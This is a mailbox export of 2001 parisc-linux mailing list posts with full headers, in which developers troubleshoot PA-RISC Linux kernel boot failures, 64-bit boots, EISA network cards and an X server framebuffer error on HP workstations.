X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13459

On Tue, 25 Dec 2001, Grant Grundler wrote:
> Hi all,
> I can't boot 2.4.16-pa24 on my c3k.
> 2.4.16-pa20 was working fine.
> I'll put the defective .config, vmlinux, System.map on
> ftp://gsyprf10.external.hp.com/pub/c3000/2.4.16-pa24-crash.tgz

I just reloaded my C180 with the 0.93 ISO and updated to -pa24 and it's
working fine. (Note to all - the 0.93 ISO will cheerfully allow you to
partition a drive as 35MB type F0, 250MB swap and 4GB root, load all the
software, and boot with the stock kernel and map. Then, when you compile
your new -pa24 kernel, it barfs because you forgot that /boot must end in
the first 2GB... Fortunately I rebooted off the CD, deleted the swap
partition, created a new swap and /boot in that same 250MB area and all is
well.)

My only kernel changes were to the SCSI stuff, I believe, and to remove
all the NICs except the onboard.





From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa24 crashes on c3k
Date: Tue, 25 Dec 2001 22:01:28 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20011226050128.821554833@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0112250945530.486-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620881 32052 80.91.229.3 (22 Nov 2014 01:48:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 25 22:01:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 821554833; Tue, 25 Dec 2001 22:01:28 -0700 (MST)
In-Reply-To: Message from Tom <palinux@alaskatech.org> 
   of "Tue, 25 Dec 2001 09:50:54 -0900." <Pine.LNX.4.33.0112250945530.486-100000@goliath.alaskatech.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13460

Tom wrote:
> I just reloaded my C180 with the 0.93 ISO and updated to -pa24 and it's
> working fine.

Ok - good to know. I wasn't using the default config file.
But I tried the default config and that dies with similar
console output. I need to lookup the IOAQ and GR02 and try
to figure out how it got there. Must be something related
to suckyio since I'm not using any graphics console and that's
about when console switches over.

BTW, with -pa20, I did try eepro100 driver with both an i82559
and i82550 NIC. I didn't stress either hard (55Mb/s to my laptop
via crossover cable) but they basically work with ftp. I know one
small patch is needed for the 2.4.16 eepro100 driver and hopefully
we'll pick that up with the next merge.

grant



From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa24 crashes on c3k
Date: Tue, 25 Dec 2001 23:02:47 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20011226060247.3C5054836@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0112250945530.486-100000@goliath.alaskatech.org>  <20011226050128.821554833@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620881 32056 80.91.229.3 (22 Nov 2014 01:48:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 25 23:02:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C5054836
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Dec 2001 23:02:47 -0700 (MST)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Tue, 25 Dec 2001 22:01:28 MST." <20011226050128.821554833@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13461

Grant Grundler wrote:
> Must be something related to suckyio since I'm not using any graphics
> console and that's about when console switches over.

Good guess. Just committed 2.4.16-pa25 which fixes.
suckyio requires the first PCI HBA be numbered 0 (and not 1).
Was broken by -pa24 commit.
diff will be posted to parisc-linux-cvs as usual.

grant



From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa24 crashes on c3k
Date: Wed, 26 Dec 2001 13:45:05 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20011226134505.A5568@solo.franken.de>
References: <Pine.LNX.4.33.0112250945530.486-100000@goliath.alaskatech.org> <20011226050128.821554833@dsl2.external.hp.com> <grundler@dsl2.external.hp.com> <20011226060247.3C5054836@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620882 32075 80.91.229.3 (22 Nov 2014 01:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 26 05:47:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD905461C.dip.t-dialin.net [217.5.70.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A9FD4839
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 05:47:28 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id fBQCj5b05635;
	Wed, 26 Dec 2001 13:45:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011226060247.3C5054836@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Tue, Dec 25, 2001 at 11:02:47PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13462

On Tue, Dec 25, 2001 at 11:02:47PM -0700, Grant Grundler wrote:
> Grant Grundler wrote:
> > Must be something related to suckyio since I'm not using any graphics
> > console and that's about when console switches over.
> 
> Good guess. Just committed 2.4.16-pa25 which fixes.
> suckyio requires the first PCI HBA be numbered 0 (and not 1).

Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)

PCI or EISA Host Bus Adapter 3 not registered. in32(0x30030) returning -1
WARNING! Stack pointer and cr30 do not correspond!

Dumping Stack from 10858000 to 108587c0:

that's -pa25 on my B132.

> Was broken by -pa24 commit.

I had the problem as above, when playing with willy's dino patch (hand applied,
so I missed a chunk). I tried to understand the pci resource assigning code
and failed so far. If my headache settles down, I'm might look into that 
again today.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:20:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Mcclain <jmccla3@gl.umbc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit pa20, pa24 fail to boot on my c200
Date: Wed, 26 Dec 2001 12:29:04 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.31L.02.0112261221590.5356-100000@linux1.gl.umbc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620882 32099 80.91.229.3 (22 Nov 2014 01:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:02 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 26 10:29:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx1out.umbc.edu (mx1out.umbc.edu [130.85.253.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D69D483C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 10:29:11 -0700 (MST)
Original-Received: from gl.umbc.edu (IDENT:root@linux1.gl.umbc.edu [130.85.60.38])
	by mx1out.umbc.edu (8.12.0/8.12.0) with ESMTP id fBQHT4Zb000657
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 12:29:04 -0500 (EST)
Original-Received: from localhost (jmccla3@localhost)
	by gl.umbc.edu (8.9.3/8.9.3) with ESMTP id MAA05531
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 12:29:04 -0500
X-Authentication-Warning: linux1.gl.umbc.edu: jmccla3 owned process doing -bs
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13463

hello all,

i'm new to this list as well as to the world of linux on the
parisc.  i own a c200 with firmware rev 6.1 which i run with a serial
console.  my machine fails to boot with a 64-bit kernel (either downloaded
from the website or built by me).  i get as far as the message warning you
that if you don't see any further messages it is likely a result of using
the wrong console, then the three right-most LEDs on the front of the
machine stay on.

32-bit kernels built with the same config file work very well.

if there is any more detailed information i can provide, i would be happy
to.

regards,
james mcclain





From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit pa20, pa24 fail to boot on my c200
Date: Wed, 26 Dec 2001 11:21:01 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20011226182102.52C76483F@dsl2.external.hp.com>
References: <Pine.LNX.4.31L.02.0112261221590.5356-100000@linux1.gl.umbc.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620882 32102 80.91.229.3 (22 Nov 2014 01:48:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Mcclain <jmccla3@gl.umbc.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 26 11:21:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 52C76483F; Wed, 26 Dec 2001 11:21:02 -0700 (MST)
In-Reply-To: Message from James Mcclain <jmccla3@gl.umbc.edu> 
   of "Wed, 26 Dec 2001 12:29:04 EST." <Pine.LNX.4.31L.02.0112261221590.5356-100000@linux1.gl.umbc.edu> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13464

James Mcclain wrote:
> my machine fails to boot with a 64-bit kernel (either downloaded
> from the website or built by me).

See the mail archives at http://lists.parisc-linux.org.
Search for C200, CONFIG_PDC_NARROW, or 64-bit.

Short anwser is you need to define CONFIG_PDC_NARROW for 64-bit.

grant



From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Q] on EISA support
Date: Wed, 26 Dec 2001 14:13:35 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20011226135241.027fc090@mira-sjc5-9.cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620883 32106 80.91.229.3 (22 Nov 2014 01:48:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 26 15:13:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id E50C2483D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 15:13:50 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBQMDnL07870
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 14:13:49 -0800 (PST)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-24.cisco.com [171.71.143.24])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABR89585;
	Wed, 26 Dec 2001 14:13:56 -0800 (PST)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13465

Hello,

I finally got the C110 running a couple of days ago (thanks to the "magic" 
FW-SCSI command) and things are well so far. I'm trying to add a network 
card needed for the planned use of the machine but so far no luck.

I'm not an expert on the HP HW, but I do remember the (short) EISA days on 
PCs where a .cfg file was needed to teach the PC the specifics of the cards 
(IO ports, interrupts etc.). How does this work with the HP machines ? I 
tried an SMC Ultra 32 and an AC3200 with no luck. One hurdle here is that 
there is a function call in both drivers (as well as other drivers that use 
similar controller chips) that the compiler barks about. (Something like 
isa_eth_copy_and_chksm - don't have the exact at hand right now). I found a 
way around it but the cards are not detected at all. Note these cards use a 
memory window - is that possible with the current EISA support ? Is it 
possible to use generic EISA cards at all or do they have to be supported 
by the boot rom in some way ?

Tried a NE2000 clone too, which was detected but with the wrong interrupt. 
That might be because it's a "hard" configured plug&pray card. PCs have no 
problems detecting the settings correctly, though.

Thanks,
	Christian




From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: XFree86 Question
Date: Wed, 26 Dec 2001 13:51:17 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <4.3.2.7.2.20011226134543.0279c300@mira-sjc5-9.cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620883 32107 80.91.229.3 (22 Nov 2014 01:48:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bheadley@interaccess.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 26 15:13:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF376482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 15:13:50 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBQMDnL07865;
	Wed, 26 Dec 2001 14:13:49 -0800 (PST)
Original-Received: from CSUDER-W2K.cisco.com (dhcp-171-71-143-24.cisco.com [171.71.143.24])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABR89583;
	Wed, 26 Dec 2001 14:13:52 -0800 (PST)
X-Sender: csuder@mira-sjc5-9.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13466

In case you still have the problem, if I remember correctly the reason is 
that the XFree config file is generated in a "PC-ish" manner with a lot of 
different screen definitions and tries to start X in a combination the fb 
device does not support. Edit it to have just an entry for the type of 
screen you have (likely 1280x1024, 8bit).

	Christian







Yay! Got my C110 up and happy on 0.93.

And now, an X question :-)

I'm getting this on startup of the X server,

	FBIOPUT_VSCREENINFO: Invalid argument

	Fatal server error:
	AddScreen/ScreenInit failed for driver 0

Any ideas? Ran the release note patch, and upgraded to 2.4.16-pa24 to no
avail. X server is rev 4.1.0-9.0.1.




From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Q] on EISA support
Date: Wed, 26 Dec 2001 23:30:16 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20011226223124.68FBB4848@dsl2.external.hp.com>
References: <4.3.2.7.2.20011226135241.027fc090@mira-sjc5-9.cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620883 32110 80.91.229.3 (22 Nov 2014 01:48:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:03 +0000 (UTC)
To: Christian Suder <csuder@cisco.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 26 15:31:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 68FBB4848
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 15:31:24 -0700 (MST)
Original-Received: (qmail 11706 invoked by uid 0); 26 Dec 2001 22:31:22 -0000
Original-Received: from pd9040623.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.6.35)
  by mail.gmx.net (mp008-rz3) with SMTP; 26 Dec 2001 22:31:22 -0000
X-Mailer: KMail [version 1.3.8]
In-Reply-To: <4.3.2.7.2.20011226135241.027fc090@mira-sjc5-9.cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13467

On Wednesday 26 December 2001 23:13, Christian Suder wrote:
> Tried a NE2000 clone too, which was detected but with the wrong interrupt.
> That might be because it's a "hard" configured plug&pray card. PCs have no
> problems detecting the settings correctly, though.

Hi Christian,

Did you tried the "eisa_irq_edge=3,4,5,7,9,10,11,14,15" palo parameter ?
In case your NE2000 card is an ISA card you need to set the EISA irq's to
edge mode which is done with the above command.
Maybe we should think about adding a /proc-interface here ?

Greetings,
Helge 



From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux deller
Date: Thu, 27 Dec 2001 00:20:03 +0100
Lines: 125
Approved: news@gmane.org
Message-ID: <20011226232317.698C44842@dsl2.external.hp.com>
References: <20011226231927.CA2E54842@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="------------Boundary-00=_FT4ZRRD4S05BF82CY4HF"
X-Trace: ger.gmane.org 1416620884 32115 80.91.229.3 (22 Nov 2014 01:48:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	deller@dsl2.external.hp.com (Helge Deller),
	parisc-linux-cvs@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 26 16:23:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 698C44842
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Dec 2001 16:23:17 -0700 (MST)
Original-Received: (qmail 25368 invoked by uid 0); 26 Dec 2001 23:23:15 -0000
Original-Received: from pd9040623.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.6.35)
  by mail.gmx.net (mp012-rz3) with SMTP; 26 Dec 2001 23:23:15 -0000
X-Mailer: KMail [version 1.3.8]
In-Reply-To: <20011226231927.CA2E54842@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13468

--------------Boundary-00=_FT4ZRRD4S05BF82CY4HF
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

